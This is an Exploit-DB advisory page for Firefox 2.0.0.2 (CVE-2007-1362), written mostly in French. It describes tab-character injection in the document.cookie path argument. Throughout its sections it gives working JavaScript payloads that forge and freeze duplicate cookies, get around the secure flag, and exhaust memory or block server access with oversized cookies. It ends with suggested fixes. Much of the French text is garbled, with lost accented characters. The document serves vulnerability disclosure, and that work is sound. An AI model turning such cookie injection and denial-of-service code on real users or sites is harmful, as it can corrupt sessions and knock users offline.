- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 29720
- Проверка EDB
-
- Пройдено
- Автор
- NICOLAS DEROUET
- Тип уязвимости
- DOS
- Платформа
- LINUX
- CVE
- cve-2007-1362
- Дата публикации
- 2007-03-08
Mozilla Firefox 2.0.0.2 - Document.Cookie Path Argument Denial of Service
Код:
source: https://www.securityfocus.com/bid/22879/info
Mozilla Firefox is prone to a remote denial-of-service vulnerability.
An attacker may exploit this vulnerability to cause Mozilla Firefox to crash, resulting in denial-of-service conditions.
Little is known regarding this vulnerability; this BID will be updated when more information is disclosed.
Mozilla Firefox 2.0.0.2 is prone to this issue; other versions may also be affected.
Attackers may be able to bypass cookie domain and path restrictions, but this has not been confirmed.
____________________________________________________________________________________________________
Mozilla Firefox ('document.cookie') Path Argument Multiple Vulnerabilities
____________________________________________________________________________________________________
Advisory : ADV001a
Risk : Moderate
Credit : Nicolas DEROUET (nicolas.derouet[gmail]com)
Date : 2007-03-08
Software : Mozilla Firefox version 2.0.0.2 (Other versions or products may be also affected)
____________________________________________________________________________________________________
I think identify multiple vulnerabilities in Mozilla Firefox (default installation) which could be
exploited by malicious users to bypass the same origin policy, cause a denial of service and
conduct other attacks by writing the path of 'document.cookie' with tabulations or/and a large size.
Description (in French, sorry)
User Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2
____________________________________________________________________________________________________
#1 Introduction
____________________________________________________________________________________________________
Un cookie, dans le fichier 'cookies.txt', est composée sept champs : le domaine du cookie, le
drapeau pour savoir s'il peut êe lu par les autres machines du mê domaine, le chemin (path),
le drapeau de séritéla date d'expiration, le nom du cookie et la valeur du cookie.
Si nous exétons ce code JavaScript :
URL : http://127.0.0.1/
JAVASCRIPT : document.cookie = 'DEMO=A; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
Nous obtiendrons ceci dans le fichier 'cookies.txt' :
COOKIES.TXT : 127.0.0.1 FALSE / FALSE 1181270854 DEMO A
Dans cette analyse, nous allons nous intésséarticulièment au 'PATH' du cookie.
____________________________________________________________________________________________________
#2 Injection de donnéavec la variable path
____________________________________________________________________________________________________
a) Préntation
---------------
Les champs dans le fichier 'cookies.txt' sont sérépar des tabulations (\t or \x09) hors le
'PATH' dans 'document.cookie' autorise l'utilisation des tabulations.
Par exemple, en modifiant le 'PATH' avec cette valeur '/\x09FALSE\x091188777601\x09B\x09123',
j'obtiens ceci (mon cookie d'origine a pour valeur est 'DEMO=A')
URL : http://127.0.0.1/index.htm
JAVASCRIPT : document.cookie = 'DEMO=A; domain=127.0.0.1; path=/\x09FALSE\x091188777601\x09B\x09123; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
COOKIES.TXT : 127.0.0.1 FALSE / FALSE 1188777601 B 123 FALSE 1181270854 DEMO A
^----------------------^ | |
PATH INJECTION NAME VALUE
Sur cette page http://127.0.0.1/index.htm, la valeur de 'location.pathname' est éle à/'. Donc,
mon cookie est inutilisable (pour le moment) car je me situe au mauvais chemin (PATH).
En redérrant mon navigateur, je peux voir que mon cookie est utilisable sur la page
http://127.0.0.1/index.htm, il s'est transforméour devenir 'B=123 FALSE 1181270854 DEMO A'.
COOKIES.TXT : 127.0.0.1 FALSE / FALSE 1188777601 B 123 FALSE 1181270854 DEMO A
| | ^-------------------------^
PATH NAME VALUE
Pour conclure, nous pouvons voire que n'importe quelle utilisateur malicieux peut mettre ce code
en place trèfacilement et que ce code prénte peu de danger dans ce contexte car il modifie la
variable cookie de son propre domaine.
b) Créion de cookies identiques
---------------------------------
Si nous exétons ce code :
document.cookie = 'id=6; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
document.cookie = 'id=7; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
document.cookie = 'id=8; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
document.cookie = 'id=9; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
Nous aurons uniquement un seul cookie avec une variable id à. Par contre avec la
vulnébilitéréntéi-dessus, nous pouvons cré plusieurs cookies identiques.
Voici un code d'exemple :
URL : http://127.0.0.1/index.htm
JAVASCRIPT :
document.cookie = 'B=123\x09FALSE\x091188777601\x09id\x098; domain=127.0.0.1; path=/; expires=Wed, 05-Sep-2007 01:00:00 GMT;';
document.cookie = 'id=8; domain=127.0.0.1; path=/\x09FALSE\x091188777601\x09B\x09123; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
COOKIES.TXT :
127.0.0.1 FALSE [/] FALSE 1181270854 [B] [123 FALSE 1181270854 id 8]
127.0.0.1 FALSE [/ FALSE 1181270854 B 123] FALSE 1181270854 [id] [8]
En redérrant le navigateur, nous aurons deux cookies identiques.
Prenons maintenant un deuxiè exemple,
URL : http://127.0.0.1/index.htm
JAVASCRIPT :
document.cookie = 'BUG=YES; domain=127.0.0.1; path=/\x09FALSE\x091188777601\x09PREF\x092; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
document.cookie = 'PREF=1; domain=127.0.0.1; path=/; expires=Wed, 05-Sep-2007 01:00:00 GMT;';
COOKIES.TXT :
127.0.0.1 FALSE [/] FALSE 1181270854 [PREF] [1]
127.0.0.1 FALSE [/ FALSE 1181270854 PREF 2] FALSE 1181270854 [BUG] [YES]
Si on redérre le navigateur, 'document.cookie' donnera 'PREF=1; PREF=2 FALSE 1188777601 BUG YES'.
Nous allons maintenant modifier le cookie PREF (je rappelle que nous avons deux cookies avec un
nom identique 'PREF')
URL : http://127.0.0.1/index.htm
JAVASCRIPT :
document.cookie = 'PREF=3; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
COOKIES.TXT :
127.0.0.1 FALSE / FALSE 1181270854 PREF 1
127.0.0.1 FALSE / FALSE 1181270854 PREF 3
A ce moment, 'document.cookie' est éle àPREF=1; PREF=3'. Nous pouvons voir que la modification
de la valeur cookie 'PREF' impacte sur une seule valeur et non sur les deux. J'ai voulu savoir
comment é interpré la valeur du cookie du cotéerveur (exemple PHP) et du cotélient.
Pour le cotélient, j'ai répé sur internet une fonction JavaScript qui permet de répér la
valeur d'un cookie passén paramèe.
JAVASCRIPT (cotélient)
function getCookieVal (c_name)
{
if (document.cookie.length>0)
{
c_start=document.cookie.indexOf(c_name + "=")
if (c_start!=-1)
{
c_start=c_start + c_name.length+1
c_end=document.cookie.indexOf(";",c_start)
if (c_end==-1) c_end=document.cookie.length
return unescape(document.cookie.substring(c_start,c_end))
}
}
return ""
}
PHP (cotéerveur)
<?php
echo $_COOKIE['PREF'];
?>
Géralement ils prennent la premiè valeur qu'il trouve. Ces deux cas me disent que la valeur de
PREF est 1. Ainsi malgrées modifications apporté àa valeur de PREF (mise àa valeur 3), elle
sera trèsouvent interprée du cotélient et du cotéerveur comme ayant la valeur 1.
Némoins, si on redérre le navigateur alors document.cookie donnera 'PREF=3; PREF=1' et la
fonction getCookieVal('PREF') donnera '3' avec aucune possibilitée modifier la valeur de 3.
Notre exemple ici n'est pas trop dangereux et n'est pas complèment dramatique mais avec des
autres variables tel que les prérences (par exemple : notre panier pour des sites commerciaux),
le PHPSESSID, etc. cela pourrait devenir trèennuyeux pour un utilisateur.
c) By passer la restriction SECURE
-----------------------------------
Admettons que nous sommes sur le site http://www.monsite.fr/, il est normalement interdit de cré
un cookie avec l'option secure (option rérvépour les protocoles sérisécomme HTTPS)
URL : http://www.monsite.fr/index.htm
JAVASCRIPT :
document.cookie = 'PREF=1; domain=.monsite.fr; path='/'; expires=Mon, 03-Sep-2007 00:00:01 GMT; secure;';
Le réltat est impossible.
Cependant grâ à'injection dans la variable 'PATH', nous pouvons cré un cookie afin de sauter
cette restriction.
URL : http://www.monsite.fr/index.htm
JAVASCRIPT :
var path = '/\x09TRUE\x091188777601\x09PREF\x092'; // TRUE = secures
document.cookie = 'PREF=1; domain=.monsite.fr; path='+path+'; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
Dans l'exemple ci-dessus document.cookie donnera 'PREF=2 FALSE 1188777601 PREF 1'.
L'injection de donné par le 'PATH' ne nous donne pas la possibilitée donner une valeur souhaitéàotre cookie car les vrais arguments ( FALSE 1188777601 PREF 1) vont se greffer àa fin.
Cependant, notre cookie pourrait trèbien éaser et figer la valeur (cf #1b) d'un cookie sériséréàartir de httpS://www.monsite.fr/ ou httpS://sous.domaine.monsite.fr/.
d) Conclusion
-------------
Nous pouvons voir ci-dessus une liste non-exhaustive d'exemples qui permettent d'exploiter cette
faille. Avec d'autre exemple, j'ai pu interagir sur le gestionnaire de cookie (cookie manager) afin
de ne pas afficher les valeurs d'un cookie spéalement conçou de rendre impossible la suppression
d'un cookie avec l'option 'Supprimer le cookie' ou la touche supprimer. Je n'ai pas poussées tests
plus loin mais je me pense qu'il y a une multitude d'utilisation possible surtout additionner avec
une autre vulnébilitémportante préntédans le paragraphe suivant ...
____________________________________________________________________________________________________
#3 Aucune restriction de taille pour 'PATH'
____________________________________________________________________________________________________
A y rééir, j'aurais du appelée paragraphe : "Manger de trop gros cookie fait grossir !".
Firefox ne donne aucune limite de taille pour la variable path dans le document.cookie, ce qui
permet de cré des cookies de trègrande taille.
Cette vulnébilitéeut provoquer et êe utiliser pour des attaques de type dé de service (DoS)
de diffénte faç :
1) Direct, on alloue un grand nombre de donné nous avons un DoS (exemple ci-dessous)
2) Indirect, on créplusieurs cookie de moyenne taille
nous aurons un espace disque utilisét quand firefox redérrera
il utilisera une grosse partie de la méire pour les cookies.
URL : http://127.0.0.1/index.htm
JAVASCRIPT :
var path = '/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'; // 32
for (i=0; i<24; i++) { path = path + path; } // 32 x 2^22 = 536 870 912
document.cookie = 'SIZE='+path.length+'; domain=127.0.0.1; path='+path+'; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
alert ('Cookie : ' +path.length+' octets');
En modifiant le code (la valeur limite de i à1), j'ai rési àré un cookie de 124 Mo sur mon
ordinateur et j'ai pu constater que Firefox utilisélus de 124 Mo de méire.
____________________________________________________________________________________________________
#3 Utilisation des deux vulnébilité____________________________________________________________________________________________________
Grâ àes deux vulnébilité nous avons la possibilitée désser les restrictions de taille
sur les champs suivants : le chemin (path), le drapeau de séritéla date d'expiration, le nom
du cookie et la valeur du cookie.
Prenons un exemple avec le nom et la valeur du cookie,
La somme de la taille des variables NOM et VALEUR d'un cookie est limitéà096 caractès.
En injectant des donné dans ces variables, nous pouvons leur attribuer une valeur supéeure àeur taille maximale autorisé Dans l'exemple, ci-dessous on injecte plus de 65536 caractès.
Lorsqu'on redérrera le navigateur, afin que la valeur du cookie soit active, nous ne pouvons plus
nous connecter sur le serveur car l'argument cookie de notre requê HTTP est trop grand.
(sympa pour des admins qui veulent bannir certains utilisateurs :)
var data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; // 32
for (i=0; i<11; i++) { data = data + data; } // 32 x 2^11 = 65536
var path = '/\x09FALSE\x091188777601\x09DATA\x09' + data;
document.cookie = 'DEMO=7; domain=127.0.0.1; path='+path+'; expires=Mon, 03-Sep-2007 00:00:01 GMT;';
alert ('Cookie Data is injected ! Please restart Firefox.');
____________________________________________________________________________________________________
#4 Existe t-il un risque overflow ?
____________________________________________________________________________________________________
Sincèment, je ne me suis pas penchéur cette question àa recherche de code qui permettrait de
déntrer l'utilisation d'un overflow. Je pense que les vulnébilitéprénté ont déntréue nous pouvons autoriser certains champs (5 champs) àésser leur taille normale grâ à'injection de donné dans la variable 'PATH'. Cependant, si un overflow peut êe utiliséans
cet exemple, il pourrait s'activer au dérrage de Firefox.
NB: Si vous résissez àéntrer l'utilisation d'un overflow merci de me tenir informer.
(nicolas.derouet[gmail]com)
____________________________________________________________________________________________________
#5 Solution
____________________________________________________________________________________________________
Les solutions sont assez simples.
Pour la premiè vulnébilitéil faudrait êe plus restrictif sur les caractès autorisédans
les diffénts champs du document.cookie par exemple interdire les tabulations pour le 'PATH'.
Pour la deuxiè vulnébilitéil faudrait limiter la taille du 'PATH'.
Nicolas DEROUET (nicolas.derouet[gmail]com)
____________________________________________________________________________________________________- Источник
- www.exploit-db.com
